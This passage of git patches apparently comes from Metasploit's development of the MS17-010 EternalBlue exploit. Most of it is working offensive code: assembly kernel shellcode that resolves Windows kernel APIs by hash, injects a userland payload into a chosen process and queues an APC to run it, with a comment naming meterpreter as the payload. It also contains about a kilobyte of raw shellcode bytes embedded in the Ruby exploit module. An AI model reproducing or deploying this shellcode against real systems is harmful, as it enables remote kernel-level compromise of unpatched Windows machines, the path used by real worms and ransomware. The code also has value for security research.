offset, later ETHREAD that is alertable +; rbp = current rsp + +%ifdef CLEAR_DIRECTION_FLAG + cld +%endif + + ; we will restore non-volatile registers + push rsi ; save clobbered registers + push r15 ; r15 = ntoskernl.exe + push r14 ; r14 = &x64_kernel_start + push r13 ; r13 = PKAPC_STATE + push r12 ; r12 = ETHREAD/offsets + push rbx ; rbx = PID/EPROCESS + + push rbp + + mov rbp, rsp ; we'll use the base pointer + and sp, 0xFFF0 ; align stack to ABI boundary + sub rsp, 0x20 ; reserve shadow stack + + lea r14, [rel x64_kernel_start] ; for use in pointers + +; this stub loads ntoskrnl.exe into r15 +x64_find_nt_idt: + mov r15, qword [gs:0x38] ; get IdtBase of KPCR + mov r15, qword [r15 + 0x4] ; get ISR address + shr r15, 0xc ; strip to page size + shl r15, 0xc + +_x64_find_nt_idt_walk_page: + sub r15, 0x1000 ; walk along page size + mov rsi, qword [r15] + cmp si, 0x5a4d ; 'MZ' header + jne _x64_find_nt_idt_walk_page + +; dynamically finds the offset to ETHREAD.ThreadListEntry +find_threadlistentry_offset: + +%ifdef STATIC_ETHREAD_DELTA + mov r12, ETHREAD_THREADLISTENTRY_OFFSET +%else + mov r11d, PSGETCURRENTPROCESS_HASH + call x64_block_api_direct + + mov rsi, rax + add rsi, EPROCESS_THREADLISTHEAD_BLINK_OFFSET ; PEPROCESS->ThreadListHead + + mov r11d, KEGETCURRENTTHREAD_HASH + call x64_block_api_direct + + mov rcx, rsi ; save ThreadListHead + +_find_threadlistentry_offset_compare_threads: + cmp rax, rsi + ja _find_threadlistentry_offset_walk_threads + lea rdx, [rax + 0x500] + cmp rdx, rsi + jb _find_threadlistentry_offset_walk_threads + sub rsi, rax + jmp _find_threadlistentry_offset_calc_thread_exit + +_find_threadlistentry_offset_walk_threads: + mov rsi, qword [rsi] ; move up the list entries + cmp rsi, rcx ; make sure we exit this loop at some point + jne _find_threadlistentry_offset_compare_threads + +_find_threadlistentry_offset_calc_thread_exit: + mov r12, rsi +%endif + +; now we need to find the EPROCESS to inject into +x64_find_process_name: + xor ebx, ebx + +_x64_find_process_name_loop_pid: + mov ecx, ebx + add ecx, 0x4 +%ifdef MAX_PID + cmp ecx, MAX_PID + jge x64_kernel_exit +%endif + + mov rdx, r14 ; PEPROCESS* + mov ebx, ecx ; save current PID + + ; PsLookupProcessById(dwPID, &x64_kernel_start); + mov r11d, PSLOOKUPPROCESSBYPROCESSID_HASH + call x64_block_api_direct + + test eax, eax ; see if STATUS_SUCCESS + jnz _x64_find_process_name_loop_pid + + mov rcx, [r14] ; rcx = *PEPROCESS + + ; PsGetProcessImageFileName(*(&x64_kernel_start)); + mov r11d, PSGETPROCESSIMAGEFILENAME_HASH + call x64_block_api_direct + + mov rsi, rax + call x64_calc_hash + + cmp r9d, PROCESS_HASH + + jne _x64_find_process_name_loop_pid + +x64_attach_process: + mov rbx, [r14] ; r14 = EPROCESS + + lea r13, [r14 + 16] + mov rdx, r13 ; rdx = (PRKAPC_STATE)&x64_kernel_start + 16 + mov rcx, rbx ; rcx = PEPROCESS + + ; KeStackAttachProcess(PEPROCESS, &x64_kernel_start + 16); + mov r11d, KESTACKATTACHPROCESS_HASH + call x64_block_api_direct + + ; ZwAllocateVirtualMemory + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; AllocationType + + lea r9, [r14 + 8] ; r9 = pRegionSize + mov qword [r9], 0x1000 ; *pRegionSize = 0x1000 + + xor r8, r8 ; ZeroBits = 0 + mov rdx, r14 ; rdx = BaseAddress + xor ecx, ecx + mov qword [rdx], rcx ; set *BaseAddress = NULL + not rcx ; rcx = 0xffffffffffffffff + + ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, 0x1000, 0x1000, 0x40); + mov r11d, ZWALLOCATEVIRTUALMEMORY_HASH + sub rsp, 0x20 ; we have to reserve new shadow stack + call x64_block_api_direct + +%ifdef ERROR_CHECKS + test eax, eax + jnz x64_kernel_exit_cleanup +%endif + +; rep movs kernel -> userland +x64_memcpy_userland_payload: + mov rdi, [r14] + lea rsi, [rel userland_start] + xor ecx, ecx + add cx, word [rel userland_payload_size] ; size of payload userland + add cx, userland_payload - userland_start ; size of our userland + rep movsb + +; Teb loop to find an alertable thread +x64_find_alertable_thread: + mov rsi, rbx ; rsi = EPROCESS + add rsi, EPROCESS_THREADLISTHEAD_BLINK_OFFSET ; rsi = EPROCESS.ThreadListHead.Blink + + mov rcx, rsi ; save the head pointer + +_x64_find_alertable_thread_loop: + mov rdx, [rcx] + +%ifdef ERROR_CHECKS +; todo: don't cmp on first element +; cmp rsi, rcx +; je x64_kernel_exit_cleanup +%endif + + sub rdx, r12 ; sub offset + push rcx + push rdx + mov rcx, rdx + + sub rsp, 0x20 + mov r11d, PSGETTHREADTEB_HASH + call x64_block_api_direct + add rsp, 0x20 + + pop rdx + pop rcx + + test rax, rax ; check if TEB is NULL + je _x64_find_alertable_thread_skip_next + + mov rax, qword [rax + TEB_ACTIVATIONCONTEXTSTACKPOINTER_OFFSET] + test rax, rax + je _x64_find_alertable_thread_skip_next + + add rdx, ETHREAD_ALERTABLE_OFFSET + mov eax, dword [rdx] + bt eax, 0x5 + jb _x64_find_alertable_thread_found + +_x64_find_alertable_thread_skip_next: + mov rcx, [rcx] + jmp _x64_find_alertable_thread_loop + +_x64_find_alertable_thread_found: + sub rdx, ETHREAD_ALERTABLE_OFFSET + mov r12, rdx + +x64_create_apc: + ; ExAllocatePool(POOL_TYPE.NonPagedPool, 0x90); + xor edx, edx + add dl, 0x90 + xor ecx, ecx + mov r11d, EXALLOCATEPOOL_HASH + call x64_block_api_direct + + ;mov r12, rax + ;mov r11d, KEGETCURRENTTHREAD_HASH + ;call x64_block_api_direct + +; KeInitializeApc(rcx = apc, +; rdx = pThread, +; r8 = NULL = OriginalApcEnvironment, +; r9 = KernelApcRoutine, +; NULL, +; InjectionShellCode, +; 1 /* UserMode */, +; NULL /* Context */); + mov rcx, rax ; pool APC + lea r9, [rcx + 0x80] ; dummy kernel APC function + mov byte [r9], 0xc3 ; ret + + mov rdx, r12 ; pThread; + mov r12, rax ; save APC + xor r8, r8 ; OriginalApcEnvironment = NULL + + push r8 ; Context = NULL + push 0x1 ; UserMode + mov rax, [r14] + push rax ; userland shellcode + push r8 ; NULL + + sub rsp, 0x20 + mov r11d, KEINITIALIZEAPC_HASH + call x64_block_api_direct + + ; KeInsertQueueApc(pAPC, NULL, NULL, NULL); + xor edx, edx + push rdx + push rdx + pop r8 + pop r9 + mov rcx, r12 + + mov r11d, KEINSERTQUEUEAPC_HASH + call x64_block_api_direct + +x64_kernel_exit_cleanup: + ; KeUnstackDetachProcess(pApcState) + mov rcx, r13 + mov r11d, KEUNSTACKDETACHPROCESS_HASH + call x64_block_api_direct + + ; ObDereferenceObject(PEPROCESS) + mov rcx, rbx + mov r11d, OBDEREFERENCEOBJECT_HASH + call x64_block_api_direct + +x64_kernel_exit: + + mov rsp, rbp ; fix stack + + pop rbp + + pop rbx + pop r12 + pop r13 + pop r14 + pop r15 + pop rsi ; restore clobbered registers and return + + ret + +userland_start: + +x64_userland_start: + + jmp x64_userland_start_thread + +; user and kernel mode re-use this code +x64_calc_hash: + xor r9, r9 + +_x64_calc_hash_loop: + xor eax, eax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + cmp al, 'a' + jl _x64_calc_hash_not_lowercase + sub al, 0x20 ; If so normalise to uppercase +_x64_calc_hash_not_lowercase: + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL to AH (\0) + jne _x64_calc_hash_loop + + ret + +x64_block_find_dll: + xor edx, edx + mov rdx, [gs:rdx + 96] + mov rdx, [rdx + 24] ; PEB->Ldr + mov rdx, [rdx + 32] ; InMemoryOrder list + +_x64_block_find_dll_next_mod: + mov rdx, [rdx] + mov rsi, [rdx + 80] ; unicode string + movzx rcx, word [rdx + 74] ; rcx = len + + xor r9d, r9d + +_x64_block_find_dll_loop_mod_name: + xor eax, eax + lodsb + cmp al, 'a' + jl _x64_block_find_dll_not_lowercase + sub al, 0x20 + +_x64_block_find_dll_not_lowercase: + ror r9d, 13 + add r9d, eax + loop _x64_block_find_dll_loop_mod_name + + cmp r9d, r11d + jnz _x64_block_find_dll_next_mod + + mov r15, [rdx + 32] + ret + +x64_block_api_direct: + mov rax, r15 ; make copy of module + + push r9 ; Save parameters + push r8 + push rdx + push rcx + push rsi + + mov rdx, rax + mov eax, dword [rdx+60] ; Get PE header e_lfanew + add rax, rdx + mov eax, dword [rax+136] ; Get export tables RVA + +%ifdef ERROR_CHECKS + ; test rax, rax ; EAT not found + ; jz _block_api_not_found +%endif + + add rax, rdx + push rax ; save EAT + + mov ecx, dword [rax+24] ; NumberOfFunctions + mov r8d, dword [rax+32] ; FunctionNames + add r8, rdx + +_x64_block_api_direct_get_next_func: + ; When we reach the start of the EAT (we search backwards), we hang or crash + dec rcx ; decrement NumberOfFunctions + mov esi, dword [r8+rcx*4] ; Get rva of next module name + add rsi, rdx ; Add the modules base address + + call x64_calc_hash + + cmp r9d, r11d ; Compare the hashes + jnz _x64_block_api_direct_get_next_func ; try the next function + + +_x64_block_api_direct_finish: + + pop rax ; restore EAT + mov r8d, dword [rax+36] + add r8, rdx ; ordinate table virtual address + mov cx, [r8+2*rcx] ; desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx] ; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + + pop rsi + pop rcx + pop rdx + pop r8 + pop r9 + pop r11 ; pop ret addr + + ; sub rsp, 0x20 ; shadow space + push r11 ; push ret addr + + jmp rax + + +x64_userland_start_thread: + push rsi + push r15 + push rbp + + mov rbp, rsp + sub rsp, 0x20 + + mov r11d, KERNEL32_DLL_HASH + call x64_block_find_dll + + xor ecx, ecx + + push rcx + push rcx + + push rcx ; lpThreadId = NULL + push rcx ; dwCreationFlags = 0 + pop r9 ; lpParameter = NULL + lea r8, [rel userland_payload] ; lpStartAddr = &threadstart + pop rdx ; lpThreadAttributes = NULL + + sub rsp, 0x20 + mov r11d, CREATETHREAD_HASH ; hash("CreateThread") + call x64_block_api_direct ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL); + + mov rsp, rbp + pop rbp + pop r15 + pop rsi + ret + +userland_payload_size: + db 0x01 + db 0x00 + +userland_payload: + ; insert userland payload here + ; such as meterpreter + ; or reflective dll with the metasploit MZ pre-stub + ret From 4f3a98d434ae43fc296513c990861ecaa6d8316a Mon Sep 17 00:00:00 2001 From: zerosum0x0 Date: Wed, 17 May 2017 23:36:17 -0600 Subject: [PATCH 045/686] add arch detection to shellcode --- .../windows/multi_arch_kernel_queue_apc.asm | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm b/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm index cb27899512..84157c91e6 100644 --- a/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm +++ b/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm @@ -74,9 +74,19 @@ ETHREAD_THREADLISTENTRY_OFFSET equ 0x420 ; only used if STATIC ; now the shellcode begins payload_start: -%ifdef SYSCALL_OVERWRITE -syscall_overwrite: + xor ecx, ecx + db 0x41 ; x86 inc ecx, x64 = rex prefix + loop x64_payload_start ; dec, jnz. i.e. in x64 we will now jmp +%ifdef USE_X86 +%else + ret +%end + +x64_payload_start: +BITS 64 + +%ifdef SYSCALL_OVERWRITE x64_syscall_overwrite: mov ecx, 0xc0000082 ; IA32_LSTAR syscall MSR rdmsr From bdf121e1c01b8dc5f9e6eaf7d470761039cf6d6b Mon Sep 17 00:00:00 2001 From: zerosum0x0 Date: Wed, 17 May 2017 23:48:14 -0600 Subject: [PATCH 046/686] x86 kernels will safely ret instead of BSOD --- .../windows/multi_arch_kernel_queue_apc.asm | 11 +- .../windows/smb/ms17_010_eternalblue.rb | 132 +++++++++--------- 2 files changed, 73 insertions(+), 70 deletions(-) diff --git a/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm b/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm index 84157c91e6..bff0b1fd73 100644 --- a/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm +++ b/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm @@ -39,7 +39,7 @@ global payload_start ; options which can be enabled %define USE_X86 ; x86 payload %define USE_X64 ; x64 payload -%define STATIC_ETHREAD_DELTA ; use a pre-calculated ThreadListEntry +;%define STATIC_ETHREAD_DELTA ; use a pre-calculated ThreadListEntry %define ERROR_CHECKS ; lessen chance of BSOD, but bigger size %define SYSCALL_OVERWRITE ; to run at process IRQL in syscall ; %define CLEAR_DIRECTION_FLAG ; if cld should be run @@ -75,13 +75,16 @@ ETHREAD_THREADLISTENTRY_OFFSET equ 0x420 ; only used if STATIC payload_start: xor ecx, ecx - db 0x41 ; x86 inc ecx, x64 = rex prefix - loop x64_payload_start ; dec, jnz. i.e. in x64 we will now jmp + db 0x41 ; x86 = inc ecx, x64 = rex prefix + loop x64_payload_start ; dec ecx, jnz. i.e. in x64 ecx = -1, we will now jmp + +BITS 32 %ifdef USE_X86 + ret %else ret -%end +%endif x64_payload_start: BITS 64 diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 8af93ff532..fe75550294 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -696,75 +696,75 @@ class MetasploitModule < Msf::Exploit::Remote end def make_kernel_shellcode - # https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm - # Name: kernel + # see: /external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm # Length: 1019 bytes #"\xcc"+ - "\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8\x0F\xD0\xFF\xFF\xFF\xFF" + - "\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A\x00\x00\x00\x48\x89\xC2" + - "\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8\x65\x48\x89\x24\x25\x10" + - "\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x50\x53\x51\x52" + - "\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41" + - "\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10\x00\x00\x00\x41\x53\x6A" + - "\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55\x48\x81\xEC\x58\x01\x00" + - "\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48\x89\x9D\xC0\x00\x00\x00" + - "\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5\xD0\x00\x00\x00\x48\xA1" + - "\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89\xC2\x48\xC1\xEA\x20\x48" + - "\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00\x00\xC0\x0F\x30\xFB\xE8" + - "\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x48\x83" + - "\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59" + - "\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65\x48\x8B\x24\x25\x10\x00" + - "\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F\xD0\xFF\x56\x41\x57\x41" + - "\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5\x66\x83\xE4\xF0\x48\x83" + - "\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65\x4C\x8B\x3C\x25\x38\x00" + - "\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C\x49\xC1\xE7\x0C\x49\x81" + - "\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81\xFE\x4D\x5A\x75\xEF\x41" + - "\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00\x48\x89\xC6\x48\x81\xC6" + - "\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30\xE8\x03\x02\x00\x00\x48" + - "\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90\x00\x05\x00\x00\x48\x39" + - "\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B\x36\x48\x39\xCE\x75\xE2" + - "\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04\x81\xF9\x00\x00\x01\x00" + - "\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89\xCB\x41\xBB\x66\x55\xA2" + - "\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB\x49\x8B\x0E\x41\xBB\xA3" + - "\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89\xC6\xE8\x50\x01\x00\x00" + - "\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49\x8B\x1E\x4D\x8D\x6E\x10" + - "\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24\x11\xDC\xE8\x81\x01\x00" + - "\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D\x4E\x08\x49\xC7\x01\x00" + - "\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31\xC9\x48\x89\x0A\x48\xF7" + - "\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC\x20\xE8\x52\x01\x00\x00" + - "\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B\x3E\x48\x8D\x35\xE9\x00" + - "\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00\x00\x66\x81\xC1\xF9\x00" + - "\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03\x00\x00\x48\x89\xF1\x48" + - "\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20\x41\xBB" + - "\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48\x83\xC4\x20\x5A\x59\x48" + - "\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00\x00\x48\x85\xC0\x74\x0C" + - "\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B\x09\xEB" + - "\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2\x80\xC2\x90\x31\xC9\x41" + - "\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00\x48\x89\xC1\x4C\x8D\x89" + - "\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89\xE2\x49\x89\xC4\x4D\x31" + - "\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41\x50\x48\x83\xEC\x20\x41" + - "\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00\x31\xD2\x52\x52\x41\x58" + - "\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09\x9E\xE8\x82\x00\x00\x00" + - "\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8\x74\x00\x00\x00\x48\x89" + - "\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00\x00\x00\x48\x89\xEC\x5D" + - "\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E\xC3\xE9\xB5\x00\x00\x00" + - "\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D\x3C\x61\x7C\x02\x2C\x20" + - "\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2\x65\x48\x8B\x52\x60\x48" + - "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12\x48\x8B\x72\x50\x48\x0F" + - "\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41" + - "\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39\xD9\x75\xDA\x4C\x8B\x7A" + - "\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52\x51\x56\x48\x89\xC2\x8B" + - "\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x01\xD0\x50\x8B" + - "\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48\xFF\xC9\x41\x8B\x34\x88" + - "\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39\xD9\x75\xEC\x58\x44\x8B" + - "\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01" + - "\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59\x5A\x41\x58\x41\x59\x41" + - "\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48\x89\xE5\x48\x83\xEC\x20" + - "\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF\xFF\x31\xC9\x51\x51\x51" + - "\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00\x5A\x48\x83\xEC\x20\x41" + - "\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF\x48\x89\xEC\x5D\x41\x5F" + - "\x5E\xC3" + "\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" + + "\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" + + "\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" + + "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" + + "\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" + + "\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" + + "\x00\x00\x00\x41\x53\x6A\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55" + + "\x48\x81\xEC\x58\x01\x00\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48" + + "\x89\x9D\xC0\x00\x00\x00\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5" + + "\xD0\x00\x00\x00\x48\xA1\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89" + + "\xC2\x48\xC1\xEA\x20\x48\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00" + + "\x00\xC0\x0F\x30\xFB\xE8\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25" + + "\xA8\x01\x00\x00\x48\x83\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C" + + "\x41\x5B\x41\x5A\x41\x59\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65" + + "\x48\x8B\x24\x25\x10\x00\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F" + + "\xD0\xFF\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5" + + "\x66\x83\xE4\xF0\x48\x83\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65" + + "\x4C\x8B\x3C\x25\x38\x00\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C" + + "\x49\xC1\xE7\x0C\x49\x81\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81" + + "\xFE\x4D\x5A\x75\xEF\x41\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00" + + "\x48\x89\xC6\x48\x81\xC6\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30" + + "\xE8\x03\x02\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90" + + "\x00\x05\x00\x00\x48\x39\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B" + + "\x36\x48\x39\xCE\x75\xE2\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04" + + "\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" + + "\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" + + "\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" + + "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49" + + "\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" + + "\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" + + "\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" + + "\xC9\x48\x89\x0A\x48\xF7\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC" + + "\x20\xE8\x52\x01\x00\x00\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B" + + "\x3E\x48\x8D\x35\xE9\x00\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00" + + "\x00\x66\x81\xC1\xF9\x00\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03" + + "\x00\x00\x48\x89\xF1\x48\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1" + + "\x48\x83\xEC\x20\x41\xBB\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48" + + "\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00" + + "\x00\x48\x85\xC0\x74\x0C\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05" + + "\x72\x05\x48\x8B\x09\xEB\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2" + + "\x80\xC2\x90\x31\xC9\x41\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00" + + "\x48\x89\xC1\x4C\x8D\x89\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89" + + "\xE2\x49\x89\xC4\x4D\x31\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41" + + "\x50\x48\x83\xEC\x20\x41\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00" + + "\x31\xD2\x52\x52\x41\x58\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09" + + "\x9E\xE8\x82\x00\x00\x00\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8" + + "\x74\x00\x00\x00\x48\x89\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00" + + "\x00\x00\x48\x89\xEC\x5D\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E" + + "\xC3\xE9\xB5\x00\x00\x00\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D" + + "\x3C\x61\x7C\x02\x2C\x20\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2" + + "\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12" + + "\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39" + + "\xD9\x75\xDA\x4C\x8B\x7A\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52" + + "\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" + + "\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" + + "\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" + + "\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" + + "\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" + + "\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" + + "\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" + + "\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" + + "\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" + + "\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3" + end end From 036f063988e296fabff2537f038ec903c27292a3 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 19 May 2017 16:24:41 -0500 Subject: [PATCH 047/686] Fix a stack trace when no SMB response is received --- modules/exploits/windows/smb/ms17_010_eternalblue.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 651d367efe..4c8ebbb6fd 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -187,6 +187,10 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Receiving response from exploit packet") code, raw = smb1_get_response(sock) + if code.nil? + print_error("Did not receive a response from exploit packet") + end + if code == 0xc000000d #STATUS_INVALID_PARAMETER (0xC000000D) print_good("ETERNALBLUE overwrite completed successfully (0xC000000D)!") end @@ -226,6 +230,10 @@ class MetasploitModule < Msf::Exploit::Remote code, raw, response = smb1_get_response(sock) + if code.nil? + raise RubySMB::Error::UnexpectedStatusCode, "No response to login 